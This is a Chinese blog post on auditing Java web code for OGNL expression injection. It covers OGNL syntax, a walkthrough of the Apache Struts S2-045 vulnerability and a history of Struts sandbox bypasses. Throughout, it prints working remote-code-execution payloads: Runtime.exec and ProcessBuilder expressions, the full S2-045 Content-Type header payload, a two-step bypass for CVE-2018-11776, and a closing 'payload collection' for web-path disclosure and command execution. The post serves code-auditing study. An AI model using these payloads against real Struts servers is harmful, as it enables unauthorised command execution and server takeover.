HacKerQWQ的博客空间

javaweb代码审计学习(OGNL表达式注入)

Word count: 4.7kReading time: 20 min
2022/07/18 Share

OGNL例子

1
2
3
4
//创建一个Ognl上下文对象
OgnlContext context = new OgnlContext();
//@[类全名(包括包路径)]@[方法名|值名]
Ognl.getValue('#{"name":"xiaoming","school":"tsinghua"}["school"]', context, context.getRoot());

OGNL表达式概述

OGNL(Object Graph Navigation Language)即对象图形导航语言,是一个开源的表达式引擎。使用OGNL,你可以通过某种表达式语法,存取Java对象树中的任意属性、调用Java对象树的方法、同时能够自动实现必要的类型转化。如果我们把表达式看做是一个带有语义的字符串,那么OGNL无疑成为了这个语义字符串与Java对象之间沟通的桥梁。我们可以轻松解决在数据流转过程中所遇到的各种问题。
OGNL进行对象存取操作的API在Ognl.java文件中,分别是getValue、setValue两个方法。getValue通过传入的OGNL表达式,在给定的上下文环境中,从root对象里取值:

img

setValue通过传入的OGNL表达式,在给定的上下文环境中,往root对象里写值:

img

OGNL同时编写了许多其它的方法来实现相同的功能,详细可参考Ognl.java代码。OGNL的API很简单,无论何种复杂的功能,OGNL会将其最终映射到OGNL的三要素中通过调用底层引擎完成计算,OGNL的三要素即上述方法的三个参数expression、root、context。

OGNL三要素

Expression(表达式):

Expression规定OGNL要做什么,其本质是一个带有语法含义的字符串,这个字符串将规定操作的类型和操作的内容。OGNL支持的语法非常强大,从对象属性、方法的访问到简单计算,甚至支持复杂的lambda表达式。

Root(根对象):

OGNL的root对象可以理解为OGNL要操作的对象,表达式规定OGNL要干什么,root则指定对谁进行操作。OGNL的root对象实际上是一个java对象,是所有OGNL操作的实际载体。

Context(上下文):

有了表达式和根对象,已经可以使用OGNL的基本功能了。例如,根据表达式对root对象进行getvalue、setvalue操作。
不过事实上在OGNL内部,所有的操作都会在一个特定的数据环境中运行,这个数据环境就是OGNL的上下文。简单说就是上下文将规定OGNL的操作在哪里进行。
OGNL的上下文环境是一个MAP结构,定义为OgnlContext,root对象也会被添加到上下文环境中,作为一个特殊的变量进行处理。

OGNL基本操作

符号解释:

  • #可以获取非root的Student对象。

  • %符号的用途是在标志的属性为字符串类型时,告诉执行环境%{}里的是OGNL表达式并计算表达式的值。

  • $在配置文件中引用OGNL表达式。

  • @符号实现对静态变量方法的访问

对root对象的访问:

针对OGNL的root对象的对象树的访问是通过使用‘点号’将对象的引用串联起来实现的。通过这种方式,OGNL实际上将一个树形的对象结构转化为一个链式结构的字符串来表达语义,如下:

1
2
3
4
5
6
7
//获取root对象中的name属性值
name
//获取root对象department属性中的name属性值
department.name
//获取root对象department属性中的manager属性中的name属性值
department.manager.name
student.takingClasses("英语")

对上下文环境的访问:

Context上下文是一个map结构,访问上下文参数时需要通过#符号加上链式表达式来进行,从而表示与访问root对象的区别

可以直接吧”#”类比为"ActionContext.getContext()",例如"#session.user"相当于"ActionContext.getContext().getSession().getAttribute('user')"

如下:

1
2
3
4
//获取上下文环境中名为introduction的对象的值
introduction
//获取上下文环境中名为parameters的对象中的user对象中名为name属性的值
\#parameters.user.name

对静态变量、方法的访问:

在OGNL中,对于静态变量、方法的访问通过@[class]@[field/method]访问,这里的类名要带着包名。如下

1
2
3
4
5
6
//访问com.example.core.Resource类中名为img的属性值
@com.example.core.Resource@img
//调用com.example.core.Resource类中名为get的方法
@com.example.core.Resource@get()
@java.lang.System@getProperty("user.dir")
@java.lang.Math@abs(-111)

访问调用

1
2
3
4
//调用root对象中的group属性中users的size()方法
group.users.size()
//调用root对象中group中的containsUser方法,并传递上下文环境中名为user值作为参数
group.containsUser(#user)

构造对象

OGNL支持直接通过表达式来构造对象,构造的方式主要包括三种:

1.构造List:使用{},中间使用逗号隔开元素的方式表达列表

1
{1,3,5}[1]

构造包含1,3,5的列表并且取下标是1的值

2.构造map:使用#{},中间使用逗号隔开键值对,并使用冒号隔开key和value

1
#{"name":"xiaoming","school":"tsinghua"}["school"]

jsp中如果需要取map中的某个值,一般采用以下办法:

1
<s property value="#myMap['key']"/>

3.构造对象:直接使用已知的对象构造函数来构造对象

1
2
new java.lang.String("testnew")
new int[]{1,3,5}[0]

OGNL注入

根据前面的解释可以知道ongl支持对静态对象和方法的访问,因此也可以构造命令注入的表达式,ognl解析器对表达式进行解析时就会造成ognl注入。

payload

1
2
@java.lang.Runtime@getRuntime().exec("calc")
(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()

完整代码:

setValue

1
2
3
4
5
public static void main(String[] args) throws OgnlException, Exception{
//创建一个Ognl上下文对象
OgnlContext context = new OgnlContext();
Ognl.setValue(Runtime.getRuntime().exec("curl http://127.0.0.1:10000/"), context,context.getRoot());
}

getValue

1
2
3
4
5
6
public static void main(String[] args) throws OgnlException{
//创建一个Ognl上下文对象
OgnlContext context = new OgnlContext();
//@[类全名(包括包路径)]@[方法名|值名]
Ognl.getValue("@java.lang.Runtime@getRuntime().exec('curl http://127.0.0.1:10000/')", context, context.getRoot());
}

OGNL<3.1.25

OGNL版本小于3.1.25的情况下没有黑名单的校验机制,可以直接注入OGNL表达式image-20220718150142740

OGNL>=3.1.25或OGNL>=3.2.12

OGNL>=3.1.25或OGNL>=3.2.12配置了黑名单检测,会导致实验失败,提示cannot be called from within OGNL invokeMethod() under stricter invocation mode,在使用StricterInvocation模式下不允许执行java.lang.Runtime.getRuntime()

img

对比上面2.7.3版本,在OgnlRuntime.invokeMethod中,添加了黑名单判断,当命中黑名单会出现上图的报错:ClassResolverMethodAccessorMemberAccessOgnlContextRuntimeClassLoaderProcessBuilder等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static Object invokeMethod(Object target, Method method, Object[] argsArray) throws InvocationTargetException, IllegalAccessException {
if (_useStricterInvocation) {
Class methodDeclaringClass = method.getDeclaringClass();
if (AO_SETACCESSIBLE_REF != null && AO_SETACCESSIBLE_REF.equals(method) || AO_SETACCESSIBLE_ARR_REF != null && AO_SETACCESSIBLE_ARR_REF.equals(method) || SYS_EXIT_REF != null && SYS_EXIT_REF.equals(method) || SYS_CONSOLE_REF != null && SYS_CONSOLE_REF.equals(method) || AccessibleObjectHandler.class.isAssignableFrom(methodDeclaringClass) || ClassResolver.class.isAssignableFrom(methodDeclaringClass) || MethodAccessor.class.isAssignableFrom(methodDeclaringClass) || MemberAccess.class.isAssignableFrom(methodDeclaringClass) || OgnlContext.class.isAssignableFrom(methodDeclaringClass) || Runtime.class.isAssignableFrom(methodDeclaringClass) || ClassLoader.class.isAssignableFrom(methodDeclaringClass) || ProcessBuilder.class.isAssignableFrom(methodDeclaringClass) || AccessibleObjectHandlerJDK9Plus.unsafeOrDescendant(methodDeclaringClass)) {
throw new IllegalAccessException("Method [" + method + "] cannot be called from within OGNL invokeMethod() " + "under stricter invocation mode.");
}
}

......
result = invokeMethodInsideSandbox(target, method, argsArray);
}

return result;
}

S2-045远程代码执行漏洞

漏洞描述

在Jakarta Multipart解析器插件中,Apache Struts2容易存在远程代码执行漏洞(CNNVD-201703-152)。当使用此插件上传文件时,攻击者可以更改HTTP请求的Content-Type报头字段的值来触发此漏洞,从而导致远程代码执行。

影响范围:

  • Struts 2.3.5 – Struts 2.3.31
  • Struts 2.5 – Struts 2.5.10

环境搭建

1
2
3
git clone https://github.com/apache/Struts.git
cd Struts
git checkout STRUTS_2_5_10

STRUTS_2_5_10在releases中选取

导入IDEA之后,reload pom.xml,artifact选择showcase

image-20220718155811341

访问即可看到示例程序

1
http://localhost:8888/showcase.action

image-20220718155921076

漏洞验证

payload:

1
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#memberAccess?(#memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"whoami"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())};  boundary=---------------------------96954656263154098574003468

image-20220718160930880

漏洞分析

查看github对比2.5.10跟2.5.10_1发现修改地方

1
https://github.com/apache/struts/compare/STRUTS_2_5_10...STRUTS_2_5_11

image-20220718162709802

漏洞代码起始点在src/main/java/org/apache/struts2/dispatcher/PrepareOperations.javaWebRequest函数中,使用dispatcher.wrapRequest函数包装request对象

image-20220718164351978

src/main/java/org/apache/struts2/dispatcher/Dispatcher.java中判断content-type开头是否为multipart/form-data,是则进一步包装

image-20220718172925147

multi.parse方法中产生错误信息

1
the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#memberAccess?(#memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"whoami"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())};  boundary=---------------------------96954656263154098574003468

进入src/main/java/org/apache/struts2/interceptor/FileUploadInterceptor.java的intercept方法被拦截处理

image-20220718173308091

进入findText处理错误信息

image-20220718173350190

进入src/main/java/com/opensymphony/xwork2/util/LocalizedTextUtil.java的getdefaultMessage方法

image-20220718173450425

经过几个translateVariable,进入src/main/java/com/opensymphony/xwork2/util/TextParseUtil.java的逻辑,可以看到获取到ognl的Evaluator了

image-20220718173617865

继续跟进到src/main/java/com/opensymphony/xwork2/util/OgnlTextParser.java的evalute方法,根据${}#{}获取其中的expression进行解析

image-20220718173723517

image-20220718173937397

最后一路跟进到src/main/java/com/opensymphony/xwork2/ognl/OgnlValueStack.java的getValue方法解析ognl字符串,造成ognl表达式注入漏洞

image-20220718174147540

调用栈如下:

调用栈

OGNL代码审计关键字

1
2
Ognl.setValue
Ognl.getValue

OGNL攻防

在OGNL注入中存在两个重要的漏洞利用对象

  1. _memberAccess,是一个SecurityMemberAccess用于控制OGNL可以做什么的对象
  2. context,允许访问更多对象的上下文映射

OGNL execution context

控制_memberAccess可以破坏SecurityMemberAccess的设置,因为_memberAccess可以很容易被修改

如下修改即可:

1
2
#_memberAccess['allowStaticMethodAccess']=true
@java.lang.Runtime@getRuntime().exec('calc')

SecurityMemberAccess

Struts使用_memberAccess来控制OGNL中的内容。

使用布尔变量来控制OGNL如何访问Java的方法和变量,常见如下几个,默认值为false

  • allowPrivateAccess
  • allowProtectedAccess
  • allowPackageProtectedAccess
  • allowStaticMethodAccess

用于拒绝特定类和包访问的变量有如下:

  • excludeClasses
  • excludePackageNames
  • excludePackageNamePatterns

OGNL对抗历史

以下的版本是Struts的版本,不是OGNL的版本

  • payload不行就把单引号换成双引号

拒绝静态方法,但是允许任意构造函数(2.3.20之前)

  1. 2.3.14之前的版本

​ 默认情况下,_memberAccess配置为阻止访问静态、私有和受保护的方法。但是,在 2.3.14.1 之前,可以通过获取#_memberAccess和更改这些设置轻松绕过这一点。许多漏洞利用都涉及这样做,例如:

1
(#_memberAccess['allowStaticMethodAccess']=true).(@java.lang.Runtime@getRuntime().exec('xcalc'))
  1. 2.3.14.1及之后版本到2.3.20

    allowStaticMethodAccess成为final且无法再更改。但是,由于_memberAccess还允许构造任意类并访问它们的公共方法,实际上根本不需要更改任何设置_memberAccess来执行任意代码:

    1
    (#p=new java.lang.ProcessBuilder('xcalc')).(#p.start())

拒绝静态方法,拒绝构造函数,但允许任意类访问(2.3.20-2.3.29)

在 2.3.20 中,excludedClasses引入了 blacklistsexcludedPackageNamesexcludedPackageNamePatterns,将某些类列入黑名单。还引入了另一个重要的变化,它拒绝任何构造函数调用。这会杀死ProcessBuilder有效载荷。从现在开始,不允许使用静态方法和构造函数,这对 OGNL 的功能施加了相当大的限制。

但是,_memberAccess仍然可以访问,而且还有一个静态对象DefaultMemberAccess也可以访问。该DefaultMemberAccess对象是SecurityMemberAccess中允许静态方法和构造函数的默认的较弱版本。所以这个想法很简单,只需将payload中的_memberAccess替换为DefaultMemberAccess!

1
(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec("calc"))

对类访问和 _memberAccess 的限制不再可用 (2.3.30/2.5.2+)

最后,_memberAccess消失了,所以这些简单的技巧都不再起作用了。最重要的是,类ognl.MemberAccessognl.DefaultMemberAccess包含在黑名单中。要了解如何绕过这一点,让我们看一下 S2-045 有效载荷的简化版本:

1
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))

关于这个漏洞,首先要注意的是它甚至没有尝试达到_memberAccess. 相反,它会尝试获取一个实例OgnlUtil并清除其排除的类黑名单。那么它是怎样工作的?该漏洞首先Container从上下文映射中获取一个,其中包含以下键:

上下文键

密钥com.opensymphony.xwork2.ActionContext.container给了我一个ContainerOGNL 执行环境中的实例。

容器

然后该getInstance方法尝试创建该类的一个实例OgnlUtil,但由于它是一个单例,它返回现有的全局实例。

ognlUtil

要了解excludedClasses全局OgnlUtil对象中的 与对象的关系如何_memberAccess,我们来看看是如何_memberAccess初始化的。

当请求进来时,ActionContext通过调用该createActionContext方法创建一个新的。

创建ActionContext

这最终会调用 的setOgnlUtil方法OgnlValueStack来初始化securityMemberAccessOgnlValueStack全局实例OgnlUtil

设置OgnlUtil

从下面的示例中我们可以看到,securityMemberAccess这里(最后一行)与_memberAccess(第一行)相同。

_memberAccess

这意味着共享的全局实例相同OgnlUtilexcludedClasses因此excludedPackageNames清除这些也将清除相应的 in 。excludedPackageNamePatterns Set``_memberAccess``Set``_memberAccess

之后,OGNL就可以自由地访问DEFAULT_MEMBER_ACCESS对象和setMemberAccess方法,OgnlContext替换_memberAccess成较弱的DEFAULT_MEMBER_ACCESS,然后执行任意代码。

2510利用

绕过 2.5.16

我现在将解释如何绕过 2.5.16 中的缓解措施并攻击 CVE-2018-11776。让我们首先看一下自披露的第 2 天以来公开可用的漏洞利用。有不同的版本,但它们大致如下:

1
${(#_memberAccess['allowStaticMethodAccess']=true).(#cmd='xcalc').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

从上一节中,读者应该能够找到至少两个原因为什么这在 2.5.16 中不起作用,并确定它停止工作的确切版本(提示:2.5.x 都没有)。这实际上是个好消息,因为它给了人们足够的时间进行升级,并有望阻止大规模攻击的发生。

现在让我们构建一个真正有效的漏洞利用。

看到增量 OGNL 缓解改进后,漏洞利用的自然起点将是最近有效的漏洞,即这个:

1
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))

然而,由于引入了其他改进,这在 2.5.16 中不起作用。首先,context在 2.5.13 中删除了访问权限,并且excludedClasses等黑名单在 2.5.10 之后变得不可变。

如上所述,context全局变量在 2.5.13 版本之后不再可用,所以第一步是看看是否有办法回到context. 让我们看看这里有什么可用的。我将从 A 开始按字母顺序工作。让我们来看看attr.

属性

的值struts.valueStack突出,OgnlValueStack作为它的类型。如果我想回到 OGNL 使用的上下文映射,那么类型的东西OgnlValueStack似乎是一个非常好的候选者。确实,有一种方法称为getContext,它完全按照锡上所说的那样做,并为我们提供了context地图。所以我们现在可以将之前的漏洞利用修改为:

1
(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))

然而,这仍然行不通,因为excludedClassesexcludedPackageNames现在都是不可变的:

清除失败

不幸的是,这些黑名单本身并不是真正不可变的,因为您可以使用setter修改它们。

1
(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames('')).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))

然而,这仍然行不通。excludedClasses集合在 中被清除ognlUtil

clearExcludedOgnl

但不在_memberAccess

不清楚会员访问

这是因为在设置excludedClassesognlUtil,它分配excludedClasses给一个新的空集,而不是修改两个_memberAccess和引用的集ognlUtil,所以这个改变只影响ognlUtil,而不是_memberAccess。然而,这并不遥远,因为我现在要做的就是重新发送这个有效载荷:

计算器_2516

这是如何运作的?!请记住,这_memberAccess是一个瞬态对象,在ActionContext请求进来时在创建新对象期间创建。每次ActionContext该方法创建一个新对象时,都会调用createActionContext该方法以使用来自全局的黑名单等进行创建。因此,通过重新发送请求,新创建的类和包将被清空,允许我们执行任意代码。整理payload,我以这两个payload结束。第一个清空和黑名单setOgnlUtil_memberAccess``excludedClasses``excludedPackageNames``ognlUtil``_memberAccess``excludedClasses``excludedPackageNames

1
(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))

第二个解除_memberAccess并执行任意代码。

1
(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))

一个接一个地发送这两个,允许我使用 CVE-2018-11776 执行任意代码。

payload收集

Struts2 payload

https://www.alertyoung.com/archives/11/#s2-062

验证

1
%{1+1}

获取web路径

1
2
3
4
5
6
7
%{
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),
#response.flush(),
#response.close()
}

命令执行

1
2
3
4
5
6
7
8
9
10
11
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

参考链接

  1. 从零开始java代码审计系列(三)
  2. 一文读懂OGNL漏洞
  3. Apache Struts2 Remote Code Execution Vulnerability (S2-045)
  4. https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776/
CATALOG
  1. 1. OGNL例子
  2. 2. OGNL表达式概述
    1. 2.1. OGNL三要素
      1. 2.1.1. Expression(表达式):
      2. 2.1.2. Root(根对象):
      3. 2.1.3. Context(上下文):
  3. 3. OGNL基本操作
    1. 3.1. 对root对象的访问:
    2. 3.2. 对上下文环境的访问:
    3. 3.3. 对静态变量、方法的访问:
    4. 3.4. 访问调用
    5. 3.5. 构造对象
  4. 4. OGNL注入
    1. 4.1. OGNL<3.1.25
    2. 4.2. OGNL>=3.1.25或OGNL>=3.2.12
    3. 4.3. S2-045远程代码执行漏洞
      1. 4.3.1. 漏洞描述
      2. 4.3.2. 环境搭建
      3. 4.3.3. 漏洞验证
      4. 4.3.4. 漏洞分析
  5. 5. OGNL代码审计关键字
  6. 6. OGNL攻防
    1. 6.1. OGNL execution context
    2. 6.2. SecurityMemberAccess
    3. 6.3. OGNL对抗历史
      1. 6.3.1. 拒绝静态方法,但是允许任意构造函数(2.3.20之前)
      2. 6.3.2. 拒绝静态方法,拒绝构造函数,但允许任意类访问(2.3.20-2.3.29)
      3. 6.3.3. 对类访问和 _memberAccess 的限制不再可用 (2.3.30/2.5.2+)
      4. 6.3.4. 绕过 2.5.16
  7. 7. payload收集
    1. 7.1. Struts2 payload
  8. 8. 参考链接